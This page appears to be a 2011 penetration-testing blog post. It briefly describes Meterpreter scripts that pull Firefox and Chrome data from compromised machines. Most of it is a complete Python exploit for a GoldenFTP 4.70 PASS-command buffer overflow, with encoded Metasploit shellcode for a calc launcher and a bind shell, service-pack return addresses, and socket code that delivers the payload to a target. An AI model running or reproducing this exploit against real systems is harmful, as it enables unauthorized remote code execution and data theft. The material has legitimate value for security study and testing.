Two useful meterpreter scripts for enumerating client browser data are enum_firefox.rb and enum_chrome.rb located in the framework scripts/meterpreter directory.
It is important to understand that both of these scripts require sqlite3 be properly installed on your exploitation system. Assuming your exploitation system is Ubuntu Linux for a moment, you can ensure that sqlite3 dependencies are installed as follows:
sudo apt-get install sqlite3
sudo apt-get install libsqlite3-dev
sudo gem install sqlite3-ruby
Once this has completed, then restart your msfconsole, exploit away and run the appropriate browser enumeration scripts. Output from your enumeration will be stored in the msf config directory with the following path.
log/scripts/enum_firefox
log/scripts/enum_chrome
With a local installation under Ubuntu, the msf config directory is often $HOME/.msf
This blog contains information security, penetration testing, and network architecture materials.
Friday, July 15, 2011
Friday, July 8, 2011
Revised V2.5 Golden FTP 4.70 PASS overflow exploit
#!/usr/bin/python
#
###########################################################################
## Exploit Title: Revised V2.5: GoldenFTP 4.70 PASS overflow exploit
## Exploit Version: 2.5, 2011-07-08 15:00
## Date: July 8, 2011 (20110708-1500)
## Author: Joff Thyer (jsthyer@gmail.com)
## Software Link: http://www.goldenftpserver.com/
## Version: 4.70
## Tested on: WinXP-SP0/SP2/SP3
## CVE: 2006-6576
##
## based on exploit by:
## Craig Freyman (cd1zz) and Gerardo Iglesias Galvan (iglesiasgg)
##
## NOTES:
## (1) You must make sure that the "Show new connections" option is enabled
## in order for this exploit to work.
## (2) Specifying the IP source address is important as it is used in the
## calculation of the overflow buffer offset.
###########################################################################
#
import socket
import sys
from subprocess import Popen, PIPE
import re
import time
# Metasploit
# ./msfpayload windows/exec CMD=calc.exe r | ./msfencode -b '\x00\x0a\x0d' -c 3
# 281 bytes
calc = \
"\xda\xd8\xbf\xbd\xe6\x2a\x25\xd9\x74\x24\xf4\x5d\x2b\xc9" +\
"\xb1\x40\x31\x7d\x19\x03\x7d\x19\x83\xc5\x04\x5f\x13\xf0" +\
"\xfc\x25\x7d\x71\xce\xb6\xa7\x0e\x14\xbc\x03\xc4\x9d\x8d" +\
"\x8d\x2b\x4d\xf7\xee\x18\x6b\x84\x32\x9a\x69\xde\x1d\x56" +\
"\x5b\x3c\x2b\x9b\xd7\x9f\x60\x60\x07\x1a\x80\xa2\x81\xae" +\
"\xce\x53\x0c\x41\x2a\x63\xce\xe5\x8c\xb1\x14\x78\x13\x69" +\
"\x5b\xe0\x83\x33\x30\x96\x31\x89\x93\x5f\x95\x5c\xe5\x63" +\
"\x23\x44\xfa\xe4\xe4\xbc\x75\x83\xb8\x5e\xa3\x1f\x86\x37" +\
"\xc8\xf4\x89\xab\x9d\x6e\x65\xac\x65\xfc\x7b\xe9\x86\xe6" +\
"\x8f\x25\x93\x03\xd4\x1d\x7f\x73\x91\xc4\x68\x67\x62\x59" +\
"\xe0\x5f\x51\x08\xfb\xd7\x1f\xb6\x5a\x27\xe9\x35\x61\x3e" +\
"\xf8\x4c\xac\x19\x43\x47\x2b\x13\x92\x9e\x1a\xed\xfd\x45" +\
"\x98\x34\x2a\x83\xb4\x84\x2e\xa0\x67\x24\x44\x5b\x32\x0b" +\
"\xbf\x5b\x7a\x9f\xa6\xc8\xd7\xaf\x04\xb9\xa2\x53\x5f\xfd" +\
"\x6f\x5b\x32\x77\xb2\x5b\xec\x53\xa1\x12\x29\x88\x5d\x0f" +\
"\x27\x92\x8b\xca\x63\x38\x4d\x1b\xd2\x26\x0e\xf8\xdf\xf4" +\
"\xef\x8f\x14\x63\xf2\x81\x9e\x60\xb0\xc6\xbe\x97\x1e\x27" +\
"\x32\x8f\x88\x29\x3e\xa4\xbe\xd6\x45\xaa\x70\xcd\x8a\xf6" +\
"\xcd\xa0\x15\x5b\x4b\x73\xde\x3c\xa6\x33\x7d\xa5\xa9\xda" +\
"\x0b\xdf\xc3\xd9\xe9\x81\x5a\xbb\x77\x47\x45\x75\xf9\x5f" +\
"\x88"
# Metasploit
# ./msfpayload windows/exec CMD=windows/shell_bind_tcp r | ./msfencode -b '\x00\x0a\x0d' -c3
# 422 bytes
cmdshell = \
"\xd9\xce\xba\xd6\x6f\x98\xda\xd9\x74\x24\xf4\x5f\x33\xc9" +\
"\xb1\x63\x31\x57\x1a\x03\x57\x1a\x83\xef\xfc\xe2\x23\xd5" +\
"\x9d\x94\x67\x5c\x47\xea\xae\xd5\x53\x1f\x0e\x3f\x55\x6e" +\
"\xf3\x0e\x33\x83\x08\x27\xa9\x20\xe5\x75\x83\xa5\xb5\x66" +\
"\x03\x32\x7d\xe2\xf5\xfa\x35\x4c\x0f\x9b\x44\x05\x5b\x98" +\
"\x24\x7d\xf0\xc3\xb6\xa2\x68\x9c\x42\xed\x08\x82\xfe\xbb" +\
"\x7e\xcf\x76\x76\x97\x38\xeb\xb1\x98\xd6\x51\x8b\xca\xae" +\
"\xea\x2b\x72\x86\x3b\x67\x6a\x9f\x5d\xf2\x4c\xb8\x23\x10" +\
"\x95\xd3\x01\x41\x09\x36\x93\x41\xaa\xb5\x84\xd9\x35\xb0" +\
"\x44\x13\xc0\x38\x6b\xab\x1a\x8c\xb7\xec\x30\x7a\x4a\x73" +\
"\xe5\xf1\x7e\x7e\xaf\x66\xa1\x85\x53\xea\x1a\xd7\x0b\x9a" +\
"\x9e\xf0\x04\x63\xe0\x57\xf6\x6a\x88\xb1\xef\xe0\x4a\x78" +\
"\x63\xdb\xcf\xe6\xde\xcf\xe9\x2c\x94\x5f\xef\x28\x2a\xdc" +\
"\xcd\x7a\xb2\x13\x88\xb1\x8d\x40\xcf\x0c\xf9\x52\x2f\xbc" +\
"\xd4\x34\xad\xb0\x45\xfb\xe2\xa3\xab\xa7\x46\xf6\x83\x38" +\
"\xe0\x36\x75\x7a\x6f\x96\xb3\x4f\xbe\xb9\x17\xbd\xea\x0e" +\
"\xf9\x10\x62\x2e\x91\x69\x28\xeb\xe6\x07\x23\x0f\xf6\x26" +\
"\x4a\xec\xba\xd8\x74\xba\xe6\x38\xb3\x56\x13\xf1\x8d\x70" +\
"\x98\xc9\x60\xcf\x9c\xf5\x1f\x8f\x8f\x04\x6c\x61\x63\x25" +\
"\x87\x89\x1d\x58\x4f\x18\xca\xcb\x11\x03\x24\x6b\xa6\xbd" +\
"\x47\x90\x43\xc5\x9f\x3f\xc8\x64\x3a\xcc\x69\xc7\x9c\x2d" +\
"\x19\xc1\x67\xfa\x07\xcb\xd7\x92\x83\x23\x50\xdf\xa2\xd8" +\
"\x08\xa8\xec\x43\xbb\xda\x10\xc2\x0b\x30\xb7\xdd\xbd\x33" +\
"\x6a\x18\x98\x1e\xc1\x5e\x77\xeb\xe8\x21\x4e\x18\x60\x6f" +\
"\x60\x5c\x99\xb6\x7e\x28\xdb\xda\x40\xea\x8c\xc7\x5c\x70" +\
"\x7f\xd1\x61\xaf\x42\x25\x8d\xec\xb9\xde\x5f\x40\xa2\xa2" +\
"\xe2\x39\x6f\x85\x54\xd3\xa0\xef\x4c\x08\x23\xb5\x88\x85" +\
"\xc0\xfc\xd2\x50\x68\x5b\x93\x33\x8a\x6e\xf8\x4d\x79\xa8" +\
"\x29\x56\x39\xee\x4f\xd2\x49\x48\x4e\x0e\x1c\x8a\xd5\xa6" +\
"\xd0\x94\xfb\xda\x22\x3d\xf4\x22\xe7\x54\xff\xa2\x05\xc4" +\
"\x8c\xc7"
if len(sys.argv) < 5:
print "[-]Usage: %s <src addr> <target addr> <shellcode> <platform>" % sys.argv[0]
print "\tshellcode = (calc|shell)"
print "\tplatform = (sp0|sp2|sp3)"
print "\tExample: ./gftp-sploit.py 1.2.1.2 5.6.5.4 calc sp2"
sys.exit(0)
srcaddr = sys.argv[1]
target = sys.argv[2]
shellcode = sys.argv[3]
platform = sys.argv[4]
# which payload?
buf = calc
if shellcode == "calc":
buf = calc
elif shellcode == "shell":
buf = cmdshell
# address of JMP ESI in Kernel32.dll
if platform == "sp0":
jmpesi = "\x7b\x15\xe8\x77"
elif platform == "sp2":
jmpesi = "\xc3\x72\x85\x7c"
elif platform == "sp3":
jmpesi = "\x0b\xda\x82\x7c"
shortjmp = "\x90\x90\x90\x90\xeb\x20\n"
nopsled = "\x90" * 60
padding = "A" * (533 - len(srcaddr + buf + nopsled))
payload = nopsled + buf + padding + jmpesi
print "\
[+] Golden FTP PASS Exploit\n\
[+] Version 2.5, July 8 2011\n\
[+] Author: Joff Thyer (jsthyer@gmail.com)\n\
[+] 'Show new connections' must be enabled in GoldenFTP in order\n\
[+] for this exploit to succeed!\n\
[+] Connecting: "+target
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((target,21))
except:
print "[-] Connection to "+target+" failed!"
sys.exit(0)
print "[+] Sending payload, length = " + `len(payload)`
s.send(shortjmp);
s.send("USER anonymous\n")
s.send("PASS " + payload + "\n")
s.recv(1024)
print "[+] Sleeping 2 secs..."
time.sleep(2)
s.close()
if shellcode == "shell" and srcaddr == target:
p = Popen(["netstat","-na"],stdout=PIPE,shell=False)
netstat = p.stdout.read()
shellok = re.search("TCP\s*0\.0\.0\.0:4444.*LISTENING",netstat)
if shellok:
print "[+] "+shellok.group(0)
print "[+] Done."
sys.exit(0)
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